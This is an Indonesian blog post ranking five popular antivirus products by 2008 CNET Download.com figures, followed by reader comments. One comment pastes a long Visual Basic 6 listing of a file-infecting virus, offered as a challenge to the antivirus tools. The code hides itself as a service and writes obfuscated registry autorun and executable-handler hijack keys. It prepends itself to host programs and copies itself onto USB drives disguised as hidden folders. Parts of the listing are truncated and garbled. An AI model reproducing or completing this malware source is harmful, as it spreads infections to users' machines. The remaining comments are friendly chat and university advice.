Hi friendz…!
Jumpa lagi di onlinec0mput3r’s weblog. Di tulisan ini aku mau ngasih informasi tentang 5 antivirus terpopuler di dunia versi website CNET Download.com.
Yupz, ternyata ga cuma lagu yang ada chartnya, ga cuma artis yang dinilai ketenarannya, ternyata antivirus juga. Begitulah yang aku liat di website CNET Download.com. Yupz, website ini melakukan penilain berdasarkan editor’s rate, users’ rate, total download, new version download. Data yang saya tampilkan di sini adalah data per tanggal 29 September 2008. Mau tau antivirus apa aja yang menduduki 5 besar antivirus terpopuler di dunia menurut website ini??? Chek it Out!!!
Oke…kita mulai dari urutan ke lima!!! (yuk…mari!!!)
5. Yupz, di urutan ke lima ada Norton Antivirus 2009 16.0 (wow??? 2009 githu lho!!!). Norton menduduki peringkat ini dengan produk yang pernah dikeluarkan sebanyak 298 produk dan telah didownload oleh 1. 928.024 orang di dunia yang khusus versi terbaru udah didownload oleh 36.068 orang (Ini cuma data yang ada di CNET Download.com lho, belum diwebsite lain!!!) Dari orang sebanyak itu ada 300 orang yang memberikan penilaian, dan setelah dirata-ratakan Norton berhak atas predikat sebagai antivirus berbintang dua. Wah??? Kayak hotel ya??? Mau informasi lebih lanjut tentang informasi ini dan juga mau download??? Klik di sini. Step up ke posisi empat yuk!!!
4. Ok, urutan ke empat ternyata merupakan tahta dari PC Tools AntiVirus Free Edition. Anti virus yang satru ini ternyata juga uda ngeluarin 298 produknya dan udah didownload oleh 2.049.921 orang di dunia (khusus versi terbaru 43.603 orang). Dari sekian banyak orang yang udah mendownload ada 316 orang menilainya dan rata-ratanya menjadikan PC Tools AntiVirus Free Edition ini menjadi antivirus berbintang tiga. Mau tau lebih lanjut+downlaod??? Klik di sini. Yuk kita lanjut ke posisi di atasnya!!! (di bawah kale tulisannya!!!he..)
3. Avast Home Edition 4.8.1229.80923 ternyata masuk sebagai peringkat ke tiga dari 5 besar antivirus terpopuler di dunia. Gimana nggak??? Antivirus yang lagi-lagi juga udah ngeluari 298 produknya ini udah didonwload oleh 30.408.367 orang (versi terbaru udah didownload oleh 374.723 orang). Dan satu lagi keistemewaannya, yaitu editor’s rating diberikan kepada produk yang satu ini (yang sebelumnya itu nggak dinilai oleh editor dari CNET Download.com/editor’s rate lho…), hebatnya lgi editornya ngasih lima bintang sekaligus buat Avast. Dan satu lagi, ada 8.259 orang user juga yang menilai antivirus ini dan tenyata memberikan 4,5 bintang buat avast. Kamu kudu tau lebih banyak tentang antivirus ini. Klik di sini untuk informasi lebih lanjut dan download.
2. Di posisi runner up ada Avira Antivirus Personal-Free Antivirus 8.1.0.331. Kepopuleran antivirus yang udah negluarin 298 produknya ini sangatlah unik. Dengan mendapat editor’s rating lima bintang namun hanya 3,5 bintang dari user dan download seluruh versi hanya 16.433,628 (artinya di bawah avast yang 30,5 jutaan), namun versi terbarunya bisa menduduki peringkat runner up karena udah di download oleh 421.953 orang. Nah, apa dibalik kesuksesan versi terbaru dari Avira Antivirus Personal ini??? Mau tau??? Ato Mau download??? Klik di sini. Mau tau Sang Jawara kali ini??? Lanjut!!!
1. Ini dia “Sang Jawara” : AVG Anti-Virus Free Editon 8.0.169. AVG kelihatannya akan sulit dikalahkan popularitasnya oleh para pesaing karena dari 298 produk yang udah dikeluarin, ternyata angka download yang berhasil diraih sangat fantastis yaitu 129.755.727 dan mendapatkan 5 bintang dari editor dan 4 bintang dari 16.358 user. Dan khusus versi terbarunya ini ga nyampe sebulan udah didownload sebanyak 1.576.560 orang, sangat jauh meninggalkan para pesaingnya. Gimana jejak keberhasilan antivirus yang satu ini??? Silakan klik di sini klo mau tau dan pengen antivirus terpopuler di dunia ini ada di PC kamu!!!
Nah..itu dia chart antivirus bulan ini, insyaAllah kalau bulan depan ada perubahan akan ku post juga koq. Gimana komentar kalian tentang chart tersebut??? Add comment aja ya…
October 2, 2008 at 10:08 pm
Wkkkkkkkkkkkkk………
Nice bro.
Keep post.
Masih ingat aku gak ?
Kalau versiku sih..
PCMAV
Gak ada matinya. Made in Indonesia tuh.
October 3, 2008 at 8:06 am
wah…ingat donk..
Junior yang baik adalah yang bisa menertawakan dan ditertawakan seniornya…wkkkkkkkkkkk
Hoi, bantuin aQ donk, bingung ne mo kuiah d mana???
Banjarbaru? Malang? Apa jogja ya???
October 4, 2008 at 1:14 pm
virus yang ini bisa ketangkap nggak, ni listingnya:
Public wolu1, wolu2, kodeku, WOLU, rangka, WOLUku, cow1, teksnya, wesel, files As String
Public tgljam1, tgljam0, tgl1, jam0, jam1, winpath, propath, wsteksnya, hlm1teksnya, files11teknya, fsobj1teksnya As String
Public WS, ObjFSO As Object
Const ukuranku = 69632
Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0
Const hcr1 = “KNH\bFODVVHVbURRW_h{hiloh_vkhoo_rshq_frppdqg_” ‘command
Const hlm1 = “KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_” ‘run
Const hcv1 = “KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv#QW_FxuuhqwYhuvlrq_v|vwhpurrw” ’systemroot
Const hcvPF = “KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_SurjudpIlohvGlu”
Const files11 = “_v|vwhp65_V|vwhpUrrwv1h{h” ‘\system32\SystemRoots.exe
Const fsobj1 = “Vfulswlqj1IlohV|vwhpRemhfw” ‘filesystemobject
Private p8, idp8, keluar As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long
Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function OpenProcess Lib “kernel32″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib “kernel32″ (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib “kernel32″ (ByVal hObject As Long) As Long
Sub Form_Load()
On Error Resume Next
Dim process As Long
Dim cow12 As String
process = GetCurrentProcessId()
Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE)
cow12 = “ZVful”
cow1 = cow12 & “sw1Vkhoo”
Call WOLUS
wolu1 = App.EXEName
If Right(App.Path, 1) “\” Then
wolu2 = App.Path & “\”
End If
wolu2 = wolu2 & wolu1 & “.exe”
If UCase(wolu2) = winpath & “\SYSTEM32\SYSTEMROOTS.EXE” Then
WOLU = Command()
For x = 1 To Len(WOLU)
xyz = UCase(Mid(WOLU, x, 1))
rangka = rangka + xyz
If Right(rangka, 5) = “.EXE ” Then
rangka = Left(rangka, Len(rangka) – 1)
WOLUku = Right$(WOLU, Len(WOLU) – x)
GoTo cek
End If
Next x
cek:
If UCase(Mid(rangka, 1, 16)) = UCase(propath) Then
PROSESPF (rangka)
GoTo okee
End If
If UCase(Mid(rangka, 1, 16)) UCase(propath) Then
ff = FreeFile
tgljam1 = FileDateTime(rangka)
For w = 1 To Len(tgljam1)
Scan = Mid(tgljam1, w, 1)
If Scan = ” ” Then
tgl1 = tgl1 + Scan
jam1 = Mid(tgljam1, w + 1, Len(tgljam1) – w)
GoTo stempel
End If
tgl1 = tgl1 + Scan
Next w
End If
stempel:
tgljam0 = Date$
jam0 = Time$
Date = tgl1
Time = jam1
Open rangka For Binary Access Read As ff
Dim sebenarnya As String
sebenarnya = Space(LOF(ff))
Get #ff, 1, sebenarnya
If UCase(Right(sebenarnya, 3)) = “DYS” Then
Call KE_ASLINYA
End If
Close #ff
Open wolu2 For Binary Access Read As #2
Dim bobot As String
bobot = Space(ukuranku)
Get #2, 1, bobot
Close #2
Open rangka For Binary Access Write As ff
Put #ff, 1, bobot
Put #ff, ukuranku, sebenarnya
Put #ff, LOF(ff) + 3, “DYS”
Close #ff
Call KE_ASLINYA
Call LIBAS
End If
JANGKIT
okee:
End Sub
Public Sub JANGKIT()
On Error Resume Next
Kill files
ff = FreeFile
Open wolu2 For Binary Access Read As #ff
Dim kodeku As String
kodeku = Space(ukuranku)
Get #ff, 1, kodeku
Close
Open winpath & files11teksnya For Binary Access Write As #ff
Put #ff, 1, kodeku
Put #ff, LOF(ff) + 3, “DYS”
Close
FileCopy winpath & files11teksnya, winpath & “\system32\SystemRoots.dll”
Call KE_ASLINYA
End Sub
Public Sub WOLUS()
On Error Resume Next
FNC (cow1)
wsteksnya = teksnya
Set WS = CreateObject(wsteksnya)
FNC (hcv1)
hcv1teksnya = teksnya
winpath = WS.regread(hcv1teksnya)
FNC (hcvPF)
hcvPFteksnya = teksnya
propath = WS.regread(hcvPFteksnya)
FNC (hcr1)
hcr1teksnya = teksnya
FNC (files11)
files11teksnya = teksnya
WS.Regwrite hcr1teksnya, winpath & files11teksnya & ” “”%1″” %*”
files = winpath & files11teksnya
FNC (hlm1)
hlm1teksnya = teksnya
WS.Regwrite hlm1teksnya, “SystemRoots” & “=” & winpath & files11teksnya
FNC (fsobj1)
fsobj1teksnya = teksnya
Set ObjFSO = CreateObject(fsobj1teksnya)
End Sub
Public Function FNC(fnct As String)
On Error Resume Next
Dim cow_ As String
For i = 1 To Len(fnct)
d = Asc(Mid(fnct, i, 1)) – 3
cow_ = cow_ + Chr(d)
Next i
teksnya = cow_
End Function
Public Sub KE_ASLINYA()
On Error Resume Next
If rangka = “” Or rangka = Empty Then rangka = wolu2
If sebenarnya = “” Or sebenarnya = Empty Then
Open rangka For Binary Access Read As #3
sebenarnya = LOF(3) – ukuranku
If sebenarnya = 0 Then End
Dim GetOrig As String
GetOrig = Space(sebenarnya)
Get #3, ukuranku, GetOrig
Close #3
End If
hideit = Left(rangka, Len(rangka) – 4)
hideit = hideit & “.888″
Open hideit For Binary Access Write As #10
Put #10, , GetOrig
Close #10
Close
Dim idp8 As Long
Date = tgljam0
Time = jam0
idp8 = Shell(hideit & ” ” & WOLUku, vbNormalFocus)
p8 = OpenProcess(PROCESS_ALL_ACCESS, False, idp8)
GetExitCodeProcess p8, keluar
Do While keluar = STILL_ACTIVE
DoEvents
GetExitCodeProcess p8, keluar
Loop
Kill hideit
Kill hideit
Name winpath & “\system32\SystemRoots.dll” As winpath & “\system32\BackupFiles.exe”
BACAFLASH
Name winpath & “\system32\BackupFiles.exe” As winpath & “\system32\SystemRoots.dll”
End
End Sub
Sub LIBAS()
On Error Resume Next
End Sub
Sub BACAFLASH()
On Error GoTo Batal
Dim AdaFlashDisk, AdaFloppy As Boolean
Dim ObjDrive, inifold As Object
Dim drvflash As String
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
AdaFlashDisk = True
drvflash = ObjDrive.DriveLetter
COPYF drvflash
OTOMATIS
End If
Next
If Not AdaFlashDisk Then
If ObjDrive.DriveType = 2 And ObjDrive.DriveLetter 0 Then
For Each TempFolder In folders
HitungFolder = HitungFolder + 1
If GetAttr(drvflash & “:\” & TempFolder.Name) vbHidden Then
SetAttr cop & “:\” & TempFolder.Name, vbHidden
FileCopy winpath & “\system32\BackupFiles.exe”, cop & “:\ ” & TempFolder.Name & “.exe”
End If
Next
End If
If Dir(cop & “:\ BackUpFiles.exe”) = “” Then
FileCopy winpath & “\system32\BackupFiles.exe”, cop & “:\ BackUpFiles.exe”
End If
End Function
Public Function PROSESPF(prosess As String)
On Error Resume Next
Dim idppf As Long
Date = tgljam0
Time = jam0
idppf = Shell(prosess & ” ” & WOLUku, vbNormalFocus)
ppf = OpenProcess(PROCESS_ALL_ACCESS, False, idppf)
GetExitCodeProcess ppf, keluar
Do While keluar = STILL_ACTIVE
DoEvents
GetExitCodeProcess ppf, keluar
Loop
Name winpath & “\system32\SystemRoots.dll” As winpath & “\system32\BackupFiles.exe”
BACAFLASH
Name winpath & “\system32\BackupFiles.exe” As winpath & “\system32\SystemRoots.dll”
End Function
Public Sub OTOMATIS()
On Error Resume Next
End Sub
October 6, 2008 at 11:17 am
Wah…
Bp tau g it virus ap namaY? Jujur,saya bukan ahliY dlm masalah ini. Tp,diliat dr listingY it vrus made in indonesia, jd coba aj antivirus made in indonesia kyk ansav n pcmav. Klo yg 5 it,saya yakin bisa,apalagi klo bapak jd premium userY. It saja pak dari saya, terima kasih atas kunjunganY….
October 8, 2008 at 7:35 am
Lah…… :<
Kmu ngoment apaan ?
Si bapak ngoment nantang kamu, vius bikinannya berupa coding yang diatas itu, kena gak sama list antivirusmu.
Jangan salah sangka. Eheheheheheheee. Coba tu, compile di vb 6 mu. Sudah diajarin pak Arif kan ?
October 8, 2008 at 7:46 am
Klo kuliah, kamu mau bidang apa dulu nih ?
Masalah tempat harus lihat bidangnya.
Beda bidang, beda tempat belajar yang bagus.
CONTOH :
Kedokteran -> UI
Elektro -> ITB, Bandung
T. Sipil -> Undip,
T. Industri, Fisika -> UGM, Jogja
Perkapalan -> ITS, Surabaya
S, Informasi – > ITS, Surabaya
SKM – > Unair, Surabaya
Jangan lupa, lihat PMDK-nya dari website-Universitasnya, beda universitas, beda tanggal PMDK-nya. Kayak ITS, PMDK Januri. Klo mengharapkan SNMPTN capek deh >?
Mau kuliah apa dulu nih ? Dosen, Guru, PNS, Swasta, Enterprenership, apa mau STAN >
E-mail ke yang kemaren ya ?